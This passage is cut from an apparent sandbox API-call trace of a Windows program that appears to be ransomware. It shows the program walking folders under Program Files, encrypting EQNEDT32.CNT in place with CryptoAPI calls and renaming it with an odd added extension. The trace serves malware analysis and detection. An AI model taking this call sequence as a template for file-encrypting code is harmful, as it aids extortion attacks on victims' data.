dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0141.552] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdcc295e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdcc295e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0141.552] GetProcessHeap () returned 0x2a0000 [0141.552] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x234) returned 0x2c7638 [0141.552] GetProcessHeap () returned 0x2a0000 [0141.552] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x4c) returned 0x2c5278 [0141.552] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\*.*", lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdcc295e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdcc295e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6320 [0141.552] GetProcessHeap () returned 0x2a0000 [0141.552] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c5278 | out: hHeap=0x2a0000) returned 1 [0141.552] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdcc295e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdcc295e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0141.552] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59117c70, ftCreationTime.dwHighDateTime=0x1d5c8bd, ftLastAccessTime.dwLowDateTime=0x2324c6a0, ftLastAccessTime.dwHighDateTime=0x1d59e2c, ftLastWriteTime.dwLowDateTime=0x2324c6a0, ftLastWriteTime.dwHighDateTime=0x1d59e2c, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="absolutetelnet.exe", cAlternateFileName="ABSOLU~1.EXE")) returned 1 [0141.553] GetProcessHeap () returned 0x2a0000 [0141.553] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x24e) returned 0x2c7878 [0141.553] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e0d98a0, ftCreationTime.dwHighDateTime=0x1d57eb1, ftLastAccessTime.dwLowDateTime=0x8eb62110, ftLastAccessTime.dwHighDateTime=0x1d55b11, ftLastWriteTime.dwLowDateTime=0x8eb62110, ftLastWriteTime.dwHighDateTime=0x1d55b11, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bold.exe", cAlternateFileName="")) returned 1 [0141.553] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf46c2100, ftCreationTime.dwHighDateTime=0x1d57996, ftLastAccessTime.dwLowDateTime=0xd5e8c2a0, ftLastAccessTime.dwHighDateTime=0x1d58c93, ftLastWriteTime.dwLowDateTime=0xd5e8c2a0, ftLastWriteTime.dwHighDateTime=0x1d58c93, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="coreftp.exe", cAlternateFileName="")) returned 1 [0141.553] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0141.553] GetProcessHeap () returned 0x2a0000 [0141.553] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x5e) returned 0x2c22b0 [0141.553] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*.*", lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c62e0 [0141.553] GetProcessHeap () returned 0x2a0000 [0141.553] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c22b0 | out: hHeap=0x2a0000) returned 1 [0141.553] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0141.553] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0141.553] GetProcessHeap () returned 0x2a0000 [0141.553] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x260) returned 0x2c7ad0 [0141.553] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 0 [0141.553] FindClose (in: hFindFile=0x2c62e0 | out: hFindFile=0x2c62e0) returned 1 [0141.554] GetProcessHeap () returned 0x2a0000 [0141.554] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7ad0 | out: hHeap=0x2a0000) returned 1 [0141.554] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0141.554] GetProcessHeap () returned 0x2a0000 [0141.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x6e) returned 0x2c22b0 [0141.554] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c62e0 [0141.554] GetProcessHeap () returned 0x2a0000 [0141.554] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c22b0 | out: hHeap=0x2a0000) returned 1 [0141.554] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0141.554] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DW", cAlternateFileName="")) returned 1 [0141.554] GetProcessHeap () returned 0x2a0000 [0141.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x270) returned 0x2c7ad0 [0141.554] GetProcessHeap () returned 0x2a0000 [0141.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x74) returned 0x2b9ae0 [0141.554] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0141.562] GetProcessHeap () returned 0x2a0000 [0141.562] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b9ae0 | out: hHeap=0x2a0000) returned 1 [0141.562] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0141.562] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0141.562] GetProcessHeap () returned 0x2a0000 [0141.562] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x276) returned 0x2c7d48 [0141.562] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8f7000, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdb9ec040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f8f7000, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xf2b88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0141.562] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1 [0141.562] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 0 [0141.562] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0141.562] GetProcessHeap () returned 0x2a0000 [0141.562] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7d48 | out: hHeap=0x2a0000) returned 1 [0141.562] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0141.563] GetProcessHeap () returned 0x2a0000 [0141.563] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x80) returned 0x2c22b0 [0141.563] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0141.563] GetProcessHeap () returned 0x2a0000 [0141.563] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c22b0 | out: hHeap=0x2a0000) returned 1 [0141.563] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0141.563] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0141.563] GetProcessHeap () returned 0x2a0000 [0141.563] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x282) returned 0x2c7d48 [0141.563] GetProcessHeap () returned 0x2a0000 [0141.563] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8a) returned 0x2ef2d8 [0141.563] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0141.564] GetProcessHeap () returned 0x2a0000 [0141.564] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0141.564] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0141.565] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1 [0141.565] GetProcessHeap () returned 0x2a0000 [0141.565] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x28c) returned 0x2f42d8 [0141.565] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 0 [0141.565] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0141.565] GetProcessHeap () returned 0x2a0000 [0141.565] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f42d8 | out: hHeap=0x2a0000) returned 1 [0141.565] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1 [0141.565] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0141.567] GetProcessHeap () returned 0x2a0000 [0141.567] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0141.567] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0141.567] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0141.567] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x3, lpOverlapped=0x0) returned 1 [0141.572] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0141.572] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0141.572] GetProcessHeap () returned 0x2a0000 [0141.572] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0141.572] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0141.572] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0141.572] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0141.572] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0141.572] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0141.572] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0141.573] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0141.573] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0141.573] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0141.573] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0141.573] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.573] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x9fd, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x9fd, lpOverlapped=0x0) returned 1 [0141.573] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa00, dwBufLen=0xa00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa00) returned 1 [0141.573] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.573] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa00, lpOverlapped=0x0) returned 1 [0141.573] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0141.573] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.573] SetEndOfFile (hFile=0x114) returned 1 [0141.613] GetProcessHeap () returned 0x2a0000 [0141.613] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0141.613] GetProcessHeap () returned 0x2a0000 [0141.613] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0141.613] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.kjhslgjkjdfg")) returned 1 [0141.617] CloseHandle (hObject=0x114) returned 1 [0141.617] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, 